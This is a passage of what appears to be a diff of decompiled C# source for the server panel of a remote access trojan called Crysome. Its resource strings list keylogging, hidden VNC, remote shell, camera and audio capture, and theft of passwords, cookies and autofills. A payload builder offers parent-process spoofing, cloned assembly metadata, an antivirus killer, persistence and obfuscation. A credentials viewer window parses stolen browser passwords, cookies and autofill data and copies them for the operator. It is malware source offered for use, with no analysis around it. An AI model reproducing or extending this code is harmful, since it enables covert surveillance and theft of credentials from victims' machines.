public static string Clients_Plugins => ResourceManager.GetString("Clients_Plugins", resourceCulture);
|
||||
|
||||
public static string Clients_Settings => ResourceManager.GetString("Clients_Settings", resourceCulture);
|
||||
|
||||
public static string Clients_ClientsLabel => ResourceManager.GetString("Clients_ClientsLabel", resourceCulture);
|
||||
|
||||
public static string Clients_SendCommand => ResourceManager.GetString("Clients_SendCommand", resourceCulture);
|
||||
|
||||
public static string Clients_SendCommandAllMenu => ResourceManager.GetString("Clients_SendCommandAllMenu", resourceCulture);
|
||||
|
||||
public static string Clients_SendFile => ResourceManager.GetString("Clients_SendFile", resourceCulture);
|
||||
|
||||
public static string Clients_SendFileAll => ResourceManager.GetString("Clients_SendFileAll", resourceCulture);
|
||||
|
||||
public static string Clients_DirectLink => ResourceManager.GetString("Clients_DirectLink", resourceCulture);
|
||||
|
||||
public static string Clients_DirectLinkAll => ResourceManager.GetString("Clients_DirectLinkAll", resourceCulture);
|
||||
|
||||
public static string Clients_Socks5Proxy => ResourceManager.GetString("Clients_Socks5Proxy", resourceCulture);
|
||||
|
||||
public static string Clients_TakeScreenshot => ResourceManager.GetString("Clients_TakeScreenshot", resourceCulture);
|
||||
|
||||
public static string Clients_ProcessManager => ResourceManager.GetString("Clients_ProcessManager", resourceCulture);
|
||||
|
||||
public static string Clients_Credentials => ResourceManager.GetString("Clients_Credentials", resourceCulture);
|
||||
|
||||
public static string Clients_Passwords => ResourceManager.GetString("Clients_Passwords", resourceCulture);
|
||||
|
||||
public static string Clients_Cookies => ResourceManager.GetString("Clients_Cookies", resourceCulture);
|
||||
|
||||
public static string Clients_PasswordsCookies => ResourceManager.GetString("Clients_PasswordsCookies", resourceCulture);
|
||||
|
||||
public static string Clients_Autofills => ResourceManager.GetString("Clients_Autofills", resourceCulture);
|
||||
|
||||
public static string Clients_AllCredentials => ResourceManager.GetString("Clients_AllCredentials", resourceCulture);
|
||||
|
||||
public static string Clients_Remote => ResourceManager.GetString("Clients_Remote", resourceCulture);
|
||||
|
||||
public static string Clients_RemoteShell => ResourceManager.GetString("Clients_RemoteShell", resourceCulture);
|
||||
|
||||
public static string Clients_RemoteAudio => ResourceManager.GetString("Clients_RemoteAudio", resourceCulture);
|
||||
|
||||
public static string Clients_RemoteCamera => ResourceManager.GetString("Clients_RemoteCamera", resourceCulture);
|
||||
|
||||
public static string Clients_RemoteDesktop => ResourceManager.GetString("Clients_RemoteDesktop", resourceCulture);
|
||||
|
||||
public static string Clients_HvncMenu => ResourceManager.GetString("Clients_HvncMenu", resourceCulture);
|
||||
|
||||
public static string Clients_KeyloggerMenu => ResourceManager.GetString("Clients_KeyloggerMenu", resourceCulture);
|
||||
|
||||
public static string Clients_RemoteChat => ResourceManager.GetString("Clients_RemoteChat", resourceCulture);
|
||||
|
||||
public static string Clients_FileManager => ResourceManager.GetString("Clients_FileManager", resourceCulture);
|
||||
|
||||
public static string Clients_Restart => ResourceManager.GetString("Clients_Restart", resourceCulture);
|
||||
|
||||
public static string Clients_CopySummary => ResourceManager.GetString("Clients_CopySummary", resourceCulture);
|
||||
|
||||
public static string Clients_BlockIP => ResourceManager.GetString("Clients_BlockIP", resourceCulture);
|
||||
|
||||
public static string Clients_PinToTop => ResourceManager.GetString("Clients_PinToTop", resourceCulture);
|
||||
|
||||
public static string Clients_ExportMenu => ResourceManager.GetString("Clients_ExportMenu", resourceCulture);
|
||||
|
||||
public static string Clients_Mute30 => ResourceManager.GetString("Clients_Mute30", resourceCulture);
|
||||
|
||||
public static string Clients_Note => ResourceManager.GetString("Clients_Note", resourceCulture);
|
||||
|
||||
public static string Settings_BackToConnections => ResourceManager.GetString("Settings_BackToConnections", resourceCulture);
|
||||
|
||||
public static string Settings_Title => ResourceManager.GetString("Settings_Title", resourceCulture);
|
||||
|
||||
public static string Settings_Server => ResourceManager.GetString("Settings_Server", resourceCulture);
|
||||
|
||||
public static string Settings_Port => ResourceManager.GetString("Settings_Port", resourceCulture);
|
||||
|
||||
public static string Settings_QuicPort => ResourceManager.GetString("Settings_QuicPort", resourceCulture);
|
||||
|
||||
public static string Settings_InfoPoll => ResourceManager.GetString("Settings_InfoPoll", resourceCulture);
|
||||
|
||||
public static string Settings_MaxEndpoints => ResourceManager.GetString("Settings_MaxEndpoints", resourceCulture);
|
||||
|
||||
public static string Settings_Unlimited => ResourceManager.GetString("Settings_Unlimited", resourceCulture);
|
||||
|
||||
public static string Settings_MaxFile => ResourceManager.GetString("Settings_MaxFile", resourceCulture);
|
||||
|
||||
public static string Settings_Notifications => ResourceManager.GetString("Settings_Notifications", resourceCulture);
|
||||
|
||||
public static string Settings_PlaySoundConnect => ResourceManager.GetString("Settings_PlaySoundConnect", resourceCulture);
|
||||
|
||||
public static string Settings_PlaySoundDisconnect => ResourceManager.GetString("Settings_PlaySoundDisconnect", resourceCulture);
|
||||
|
||||
public static string Settings_TelegramNotifs => ResourceManager.GetString("Settings_TelegramNotifs", resourceCulture);
|
||||
|
||||
public static string Settings_EnableTelegram => ResourceManager.GetString("Settings_EnableTelegram", resourceCulture);
|
||||
|
||||
public static string Settings_BotToken => ResourceManager.GetString("Settings_BotToken", resourceCulture);
|
||||
|
||||
public static string Settings_ChatID => ResourceManager.GetString("Settings_ChatID", resourceCulture);
|
||||
|
||||
public static string Settings_TestMessage => ResourceManager.GetString("Settings_TestMessage", resourceCulture);
|
||||
|
||||
public static string Settings_Logging => ResourceManager.GetString("Settings_Logging", resourceCulture);
|
||||
|
||||
public static string Settings_PauseLog => ResourceManager.GetString("Settings_PauseLog", resourceCulture);
|
||||
|
||||
public static string Settings_LogToFile => ResourceManager.GetString("Settings_LogToFile", resourceCulture);
|
||||
|
||||
public static string Settings_Save => ResourceManager.GetString("Settings_Save", resourceCulture);
|
||||
|
||||
public static string Builder_BackToConnections => ResourceManager.GetString("Builder_BackToConnections", resourceCulture);
|
||||
|
||||
public static string Builder_Title => ResourceManager.GetString("Builder_Title", resourceCulture);
|
||||
|
||||
public static string Builder_Target => ResourceManager.GetString("Builder_Target", resourceCulture);
|
||||
|
||||
public static string Builder_IPHost => ResourceManager.GetString("Builder_IPHost", resourceCulture);
|
||||
|
||||
public static string Builder_Port => ResourceManager.GetString("Builder_Port", resourceCulture);
|
||||
|
||||
public static string Builder_Group => ResourceManager.GetString("Builder_Group", resourceCulture);
|
||||
|
||||
public static string Builder_StubPath => ResourceManager.GetString("Builder_StubPath", resourceCulture);
|
||||
|
||||
public static string Builder_Browse => ResourceManager.GetString("Builder_Browse", resourceCulture);
|
||||
|
||||
public static string Builder_ParentSpoof => ResourceManager.GetString("Builder_ParentSpoof", resourceCulture);
|
||||
|
||||
public static string Builder_ParentSpoofDesc => ResourceManager.GetString("Builder_ParentSpoofDesc", resourceCulture);
|
||||
|
||||
public static string Builder_AssemblyIcon => ResourceManager.GetString("Builder_AssemblyIcon", resourceCulture);
|
||||
|
||||
public static string Builder_Icon => ResourceManager.GetString("Builder_Icon", resourceCulture);
|
||||
|
||||
public static string Builder_EditAssembly => ResourceManager.GetString("Builder_EditAssembly", resourceCulture);
|
||||
|
||||
public static string Builder_CloneFromFile => ResourceManager.GetString("Builder_CloneFromFile", resourceCulture);
|
||||
|
||||
public static string Builder_Randomize => ResourceManager.GetString("Builder_Randomize", resourceCulture);
|
||||
|
||||
public static string Builder_AsmTitle => ResourceManager.GetString("Builder_AsmTitle", resourceCulture);
|
||||
|
||||
public static string Builder_AsmDesc => ResourceManager.GetString("Builder_AsmDesc", resourceCulture);
|
||||
|
||||
public static string Builder_AsmCompany => ResourceManager.GetString("Builder_AsmCompany", resourceCulture);
|
||||
|
||||
public static string Builder_AsmProduct => ResourceManager.GetString("Builder_AsmProduct", resourceCulture);
|
||||
|
||||
public static string Builder_AsmCopyright => ResourceManager.GetString("Builder_AsmCopyright", resourceCulture);
|
||||
|
||||
public static string Builder_AsmVersion => ResourceManager.GetString("Builder_AsmVersion", resourceCulture);
|
||||
|
||||
public static string Builder_Features => ResourceManager.GetString("Builder_Features", resourceCulture);
|
||||
|
||||
public static string Builder_FeatCmd => ResourceManager.GetString("Builder_FeatCmd", resourceCulture);
|
||||
|
||||
public static string Builder_FeatFile => ResourceManager.GetString("Builder_FeatFile", resourceCulture);
|
||||
|
||||
public static string Builder_FeatDirectLink => ResourceManager.GetString("Builder_FeatDirectLink", resourceCulture);
|
||||
|
||||
public static string Builder_FeatScreenshot => ResourceManager.GetString("Builder_FeatScreenshot", resourceCulture);
|
||||
|
||||
public static string Builder_FeatFileMgr => ResourceManager.GetString("Builder_FeatFileMgr", resourceCulture);
|
||||
|
||||
public static string Builder_FeatProcess => ResourceManager.GetString("Builder_FeatProcess", resourceCulture);
|
||||
|
||||
public static string Builder_FeatRestart => ResourceManager.GetString("Builder_FeatRestart", resourceCulture);
|
||||
|
||||
public static string Builder_FeatProxy => ResourceManager.GetString("Builder_FeatProxy", resourceCulture);
|
||||
|
||||
public static string Builder_FeatDesktop => ResourceManager.GetString("Builder_FeatDesktop", resourceCulture);
|
||||
|
||||
public static string Builder_FeatHvnc => ResourceManager.GetString("Builder_FeatHvnc", resourceCulture);
|
||||
|
||||
public static string Builder_FeatCredentials => ResourceManager.GetString("Builder_FeatCredentials", resourceCulture);
|
||||
|
||||
public static string Builder_FeatKeylogger => ResourceManager.GetString("Builder_FeatKeylogger", resourceCulture);
|
||||
|
||||
public static string Builder_FeatChat => ResourceManager.GetString("Builder_FeatChat", resourceCulture);
|
||||
|
||||
public static string Builder_FeatAudio => ResourceManager.GetString("Builder_FeatAudio", resourceCulture);
|
||||
|
||||
public static string Builder_FeatCamera => ResourceManager.GetString("Builder_FeatCamera", resourceCulture);
|
||||
|
||||
public static string Builder_FeatPersistence => ResourceManager.GetString("Builder_FeatPersistence", resourceCulture);
|
||||
|
||||
public static string Builder_FeatSurvival => ResourceManager.GetString("Builder_FeatSurvival", resourceCulture);
|
||||
|
||||
public static string Builder_FeatAvKiller => ResourceManager.GetString("Builder_FeatAvKiller", resourceCulture);
|
||||
|
||||
public static string Builder_FeatProtect => ResourceManager.GetString("Builder_FeatProtect", resourceCulture);
|
||||
|
||||
public static string Builder_FeatObfuscate => ResourceManager.GetString("Builder_FeatObfuscate", resourceCulture);
|
||||
|
||||
public static string Builder_Build => ResourceManager.GetString("Builder_Build", resourceCulture);
|
||||
|
||||
public static string Builder_BuildOutput => ResourceManager.GetString("Builder_BuildOutput", resourceCulture);
|
||||
|
||||
public static string Plugin_BackToConnections => ResourceManager.GetString("Plugin_BackToConnections", resourceCulture);
|
||||
|
||||
public static string Plugin_Title => ResourceManager.GetString("Plugin_Title", resourceCulture);
|
||||
|
||||
public static string Plugin_Subtitle => ResourceManager.GetString("Plugin_Subtitle", resourceCulture);
|
||||
|
||||
public static string Plugin_ContextMenuFeatures => ResourceManager.GetString("Plugin_ContextMenuFeatures", resourceCulture);
|
||||
|
||||
public static string Plugin_ChangesNote => ResourceManager.GetString("Plugin_ChangesNote", resourceCulture);
|
||||
|
||||
internal Strings()
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class BuilderTab : UserControl, IComponentConnector
|
||||
{
|
||||
private bool _contentLoaded;
|
||||
|
||||
public BuilderTab()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void CheckBox_Checked(object sender, RoutedEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/buildertab.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
if (connectionId == 1)
|
||||
{
|
||||
((CheckBox)target).Checked += CheckBox_Checked;
|
||||
}
|
||||
else
|
||||
{
|
||||
_contentLoaded = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,671 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Text.Json;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class CredentialsViewerWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
public class PasswordEntry
|
||||
{
|
||||
public string Browser { get; set; }
|
||||
|
||||
public string Url { get; set; }
|
||||
|
||||
public string Username { get; set; }
|
||||
|
||||
public string Password { get; set; }
|
||||
}
|
||||
|
||||
public class CookieEntry
|
||||
{
|
||||
public string Browser { get; set; }
|
||||
|
||||
public string Host { get; set; }
|
||||
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Value { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public string Expires { get; set; }
|
||||
}
|
||||
|
||||
public class AutofillEntry
|
||||
{
|
||||
public string Browser { get; set; }
|
||||
|
||||
public string Name { get; set; }
|
||||
|
||||
public string Value { get; set; }
|
||||
}
|
||||
|
||||
private readonly string _passwordsJson;
|
||||
|
||||
private readonly string _cookiesJson;
|
||||
|
||||
private readonly string _autofillsJson;
|
||||
|
||||
private readonly string _clientDisplayName;
|
||||
|
||||
private List<PasswordEntry> _allPasswords = new List<PasswordEntry>();
|
||||
|
||||
private List<CookieEntry> _allCookies = new List<CookieEntry>();
|
||||
|
||||
private List<AutofillEntry> _allAutofills = new List<AutofillEntry>();
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal TextBox SearchBox;
|
||||
|
||||
internal Button ExportBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal TabControl MainTabs;
|
||||
|
||||
internal DataGrid PasswordsGrid;
|
||||
|
||||
internal DataGrid CookiesGrid;
|
||||
|
||||
internal DataGrid AutofillsGrid;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public CredentialsViewerWindow(string title, string passwordsJson, string cookiesJson, string autofillsJson = null, string errorMessage = null)
|
||||
{
|
||||
InitializeComponent();
|
||||
_passwordsJson = passwordsJson ?? "";
|
||||
_cookiesJson = cookiesJson ?? "";
|
||||
_autofillsJson = autofillsJson ?? "";
|
||||
((Window)this).Title = title ?? "Credentials";
|
||||
TitleText.Text = title ?? "Credentials";
|
||||
_clientDisplayName = SanitizeFolderName(ExtractClientName(title));
|
||||
if (!string.IsNullOrEmpty(errorMessage))
|
||||
{
|
||||
StatusText.Text = "Error: " + errorMessage;
|
||||
}
|
||||
LoadPasswords();
|
||||
}
|
||||
|
||||
private void LoadPasswords()
|
||||
{
|
||||
_allPasswords = ParsePasswordsJson(_passwordsJson);
|
||||
PasswordsGrid.ItemsSource = ((_allPasswords.Count > 0) ? _allPasswords : new List<PasswordEntry>
|
||||
{
|
||||
new PasswordEntry
|
||||
{
|
||||
Browser = "",
|
||||
Url = "(empty)",
|
||||
Username = "",
|
||||
Password = ""
|
||||
}
|
||||
});
|
||||
UpdateStatus();
|
||||
}
|
||||
|
||||
private void LoadCookies()
|
||||
{
|
||||
if (_allCookies.Count == 0 || CookiesGrid.ItemsSource == null)
|
||||
{
|
||||
_allCookies = ParseCookiesJson(_cookiesJson);
|
||||
CookiesGrid.ItemsSource = ((_allCookies.Count > 0) ? _allCookies : new List<CookieEntry>
|
||||
{
|
||||
new CookieEntry
|
||||
{
|
||||
Browser = "",
|
||||
Host = "(empty)",
|
||||
Name = "",
|
||||
Value = "",
|
||||
Path = "",
|
||||
Expires = ""
|
||||
}
|
||||
});
|
||||
UpdateStatus();
|
||||
}
|
||||
}
|
||||
|
||||
private void LoadAutofills()
|
||||
{
|
||||
if (_allAutofills.Count == 0 || AutofillsGrid.ItemsSource == null)
|
||||
{
|
||||
_allAutofills = ParseAutofillsJson(_autofillsJson);
|
||||
AutofillsGrid.ItemsSource = ((_allAutofills.Count > 0) ? _allAutofills : new List<AutofillEntry>
|
||||
{
|
||||
new AutofillEntry
|
||||
{
|
||||
Browser = "",
|
||||
Name = "(empty)",
|
||||
Value = ""
|
||||
}
|
||||
});
|
||||
UpdateStatus();
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateStatus()
|
||||
{
|
||||
int count = _allPasswords.Count;
|
||||
int count2 = _allCookies.Count;
|
||||
int count3 = _allAutofills.Count;
|
||||
StatusText.Text = $"Passwords: {count} | Cookies: {count2} | Autofills: {count3}";
|
||||
}
|
||||
|
||||
private static string SafeGetString(JsonElement el, params string[] propertyNames)
|
||||
{
|
||||
foreach (string propertyName in propertyNames)
|
||||
{
|
||||
if (el.TryGetProperty(propertyName, out var value) && value.ValueKind != JsonValueKind.Null && value.ValueKind != JsonValueKind.Undefined)
|
||||
{
|
||||
return value.ToString() ?? "";
|
||||
}
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static List<PasswordEntry> ParsePasswordsJson(string json)
|
||||
{
|
||||
List<PasswordEntry> list = new List<PasswordEntry>();
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = json.Trim();
|
||||
if (text.StartsWith("["))
|
||||
{
|
||||
using JsonDocument jsonDocument = JsonDocument.Parse(text);
|
||||
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
|
||||
{
|
||||
PasswordEntry passwordEntry = new PasswordEntry();
|
||||
passwordEntry.Url = SafeGetString(item, "origin_url", "action_url", "url", "origin");
|
||||
passwordEntry.Username = SafeGetString(item, "username_value", "username");
|
||||
passwordEntry.Password = SafeGetString(item, "password_value", "password");
|
||||
passwordEntry.Browser = SafeGetString(item, "browser", "browser_name");
|
||||
if (string.IsNullOrEmpty(passwordEntry.Browser))
|
||||
{
|
||||
passwordEntry.Browser = DetectBrowserFromUrl(passwordEntry.Url);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(passwordEntry.Username) || !string.IsNullOrWhiteSpace(passwordEntry.Password))
|
||||
{
|
||||
list.Add(passwordEntry);
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
return list;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text2 = array[i].Trim();
|
||||
if (!text2.StartsWith("["))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
|
||||
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
|
||||
{
|
||||
PasswordEntry passwordEntry2 = new PasswordEntry();
|
||||
passwordEntry2.Url = SafeGetString(item2, "origin_url", "action_url", "url", "origin");
|
||||
passwordEntry2.Username = SafeGetString(item2, "username_value", "username");
|
||||
passwordEntry2.Password = SafeGetString(item2, "password_value", "password");
|
||||
passwordEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
|
||||
if (string.IsNullOrEmpty(passwordEntry2.Browser))
|
||||
{
|
||||
passwordEntry2.Browser = DetectBrowserFromUrl(passwordEntry2.Url);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(passwordEntry2.Username) || !string.IsNullOrWhiteSpace(passwordEntry2.Password))
|
||||
{
|
||||
list.Add(passwordEntry2);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static string DetectBrowserFromUrl(string url)
|
||||
{
|
||||
if (string.IsNullOrEmpty(url))
|
||||
{
|
||||
return "";
|
||||
}
|
||||
if (url.Contains("chrome"))
|
||||
{
|
||||
return "Chrome";
|
||||
}
|
||||
if (url.Contains("edge"))
|
||||
{
|
||||
return "Edge";
|
||||
}
|
||||
if (url.Contains("brave"))
|
||||
{
|
||||
return "Brave";
|
||||
}
|
||||
return "";
|
||||
}
|
||||
|
||||
private static List<CookieEntry> ParseCookiesJson(string json)
|
||||
{
|
||||
List<CookieEntry> list = new List<CookieEntry>();
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = json.Trim();
|
||||
if (text.StartsWith("["))
|
||||
{
|
||||
using (JsonDocument jsonDocument = JsonDocument.Parse(text))
|
||||
{
|
||||
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
|
||||
{
|
||||
CookieEntry cookieEntry = new CookieEntry();
|
||||
cookieEntry.Host = SafeGetString(item, "host_key", "host", "domain");
|
||||
cookieEntry.Name = SafeGetString(item, "name");
|
||||
cookieEntry.Value = SafeGetString(item, "value");
|
||||
if (string.IsNullOrEmpty(cookieEntry.Value) && item.TryGetProperty("encrypted_value", out var value) && value.ValueKind != JsonValueKind.Null)
|
||||
{
|
||||
cookieEntry.Value = "[encrypted]";
|
||||
}
|
||||
cookieEntry.Path = SafeGetString(item, "path");
|
||||
cookieEntry.Expires = SafeGetString(item, "expires_utc", "expires", "expirationDate");
|
||||
cookieEntry.Browser = SafeGetString(item, "browser", "browser_name");
|
||||
if (string.IsNullOrEmpty(cookieEntry.Browser))
|
||||
{
|
||||
cookieEntry.Browser = DetectBrowserFromHost(cookieEntry.Host);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(cookieEntry.Name) || !string.IsNullOrWhiteSpace(cookieEntry.Host))
|
||||
{
|
||||
list.Add(cookieEntry);
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text2 = array[i].Trim();
|
||||
if (!text2.StartsWith("["))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
|
||||
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
|
||||
{
|
||||
CookieEntry cookieEntry2 = new CookieEntry();
|
||||
cookieEntry2.Host = SafeGetString(item2, "host_key", "host", "domain");
|
||||
cookieEntry2.Name = SafeGetString(item2, "name");
|
||||
cookieEntry2.Value = SafeGetString(item2, "value");
|
||||
if (string.IsNullOrEmpty(cookieEntry2.Value) && item2.TryGetProperty("encrypted_value", out var value2) && value2.ValueKind != JsonValueKind.Null)
|
||||
{
|
||||
cookieEntry2.Value = "[encrypted]";
|
||||
}
|
||||
cookieEntry2.Path = SafeGetString(item2, "path");
|
||||
cookieEntry2.Expires = SafeGetString(item2, "expires_utc", "expires", "expirationDate");
|
||||
cookieEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
|
||||
if (string.IsNullOrEmpty(cookieEntry2.Browser))
|
||||
{
|
||||
cookieEntry2.Browser = DetectBrowserFromHost(cookieEntry2.Host);
|
||||
}
|
||||
if (!string.IsNullOrWhiteSpace(cookieEntry2.Name) || !string.IsNullOrWhiteSpace(cookieEntry2.Host))
|
||||
{
|
||||
list.Add(cookieEntry2);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private static string DetectBrowserFromHost(string host)
|
||||
{
|
||||
string.IsNullOrEmpty(host);
|
||||
return "";
|
||||
}
|
||||
|
||||
private static List<AutofillEntry> ParseAutofillsJson(string json)
|
||||
{
|
||||
List<AutofillEntry> list = new List<AutofillEntry>();
|
||||
if (string.IsNullOrWhiteSpace(json))
|
||||
{
|
||||
return list;
|
||||
}
|
||||
try
|
||||
{
|
||||
string text = json.Trim();
|
||||
if (text.StartsWith("["))
|
||||
{
|
||||
using JsonDocument jsonDocument = JsonDocument.Parse(text);
|
||||
foreach (JsonElement item in jsonDocument.RootElement.EnumerateArray())
|
||||
{
|
||||
AutofillEntry autofillEntry = new AutofillEntry();
|
||||
autofillEntry.Browser = SafeGetString(item, "browser", "browser_name");
|
||||
autofillEntry.Name = SafeGetString(item, "name");
|
||||
autofillEntry.Value = SafeGetString(item, "value");
|
||||
list.Add(autofillEntry);
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
return list;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
string[] array = json.Split(new char[2] { '\n', '\r' }, StringSplitOptions.RemoveEmptyEntries);
|
||||
for (int i = 0; i < array.Length; i++)
|
||||
{
|
||||
string text2 = array[i].Trim();
|
||||
if (!text2.StartsWith("["))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
try
|
||||
{
|
||||
using JsonDocument jsonDocument2 = JsonDocument.Parse(text2);
|
||||
foreach (JsonElement item2 in jsonDocument2.RootElement.EnumerateArray())
|
||||
{
|
||||
AutofillEntry autofillEntry2 = new AutofillEntry();
|
||||
autofillEntry2.Browser = SafeGetString(item2, "browser", "browser_name");
|
||||
autofillEntry2.Name = SafeGetString(item2, "name");
|
||||
autofillEntry2.Value = SafeGetString(item2, "value");
|
||||
list.Add(autofillEntry2);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
private void SearchBox_TextChanged(object sender, TextChangedEventArgs e)
|
||||
{
|
||||
string q = (SearchBox.Text ?? "").ToLowerInvariant().Trim();
|
||||
if (MainTabs.SelectedIndex == 0)
|
||||
{
|
||||
PasswordsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allPasswords : _allPasswords.Where((PasswordEntry p) => Contains(p.Url, q) || Contains(p.Username, q) || Contains(p.Browser, q) || Contains(p.Password, q)).ToList());
|
||||
}
|
||||
else if (MainTabs.SelectedIndex == 1)
|
||||
{
|
||||
CookiesGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allCookies : _allCookies.Where((CookieEntry c) => Contains(c.Host, q) || Contains(c.Name, q) || Contains(c.Value, q) || Contains(c.Browser, q)).ToList());
|
||||
}
|
||||
else if (MainTabs.SelectedIndex == 2)
|
||||
{
|
||||
AutofillsGrid.ItemsSource = (string.IsNullOrEmpty(q) ? _allAutofills : _allAutofills.Where((AutofillEntry a) => Contains(a.Name, q) || Contains(a.Value, q) || Contains(a.Browser, q)).ToList());
|
||||
}
|
||||
}
|
||||
|
||||
private static bool Contains(string s, string q)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(s))
|
||||
{
|
||||
return s.ToLowerInvariant().Contains(q);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void MainTabs_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
||||
{
|
||||
if (SearchBox != null)
|
||||
{
|
||||
SearchBox.Text = "";
|
||||
}
|
||||
TabControl mainTabs = MainTabs;
|
||||
if (mainTabs != null && mainTabs.SelectedIndex == 1)
|
||||
{
|
||||
LoadCookies();
|
||||
}
|
||||
TabControl mainTabs2 = MainTabs;
|
||||
if (mainTabs2 != null && mainTabs2.SelectedIndex == 2)
|
||||
{
|
||||
LoadAutofills();
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyPassword_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
|
||||
{
|
||||
SafeCopy(passwordEntry.Password);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyUsername_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
|
||||
{
|
||||
SafeCopy(passwordEntry.Username);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyRow_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (PasswordsGrid.SelectedItem is PasswordEntry passwordEntry)
|
||||
{
|
||||
SafeCopy($"{passwordEntry.Browser}\t{passwordEntry.Url}\t{passwordEntry.Username}\t{passwordEntry.Password}");
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyCookieValue_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
|
||||
{
|
||||
SafeCopy(cookieEntry.Value);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyCookieName_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
|
||||
{
|
||||
SafeCopy(cookieEntry.Name);
|
||||
}
|
||||
}
|
||||
|
||||
private void CopyCookieRow_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (CookiesGrid.SelectedItem is CookieEntry cookieEntry)
|
||||
{
|
||||
SafeCopy($"{cookieEntry.Browser}\t{cookieEntry.Host}\t{cookieEntry.Name}\t{cookieEntry.Value}");
|
||||
}
|
||||
}
|
||||
|
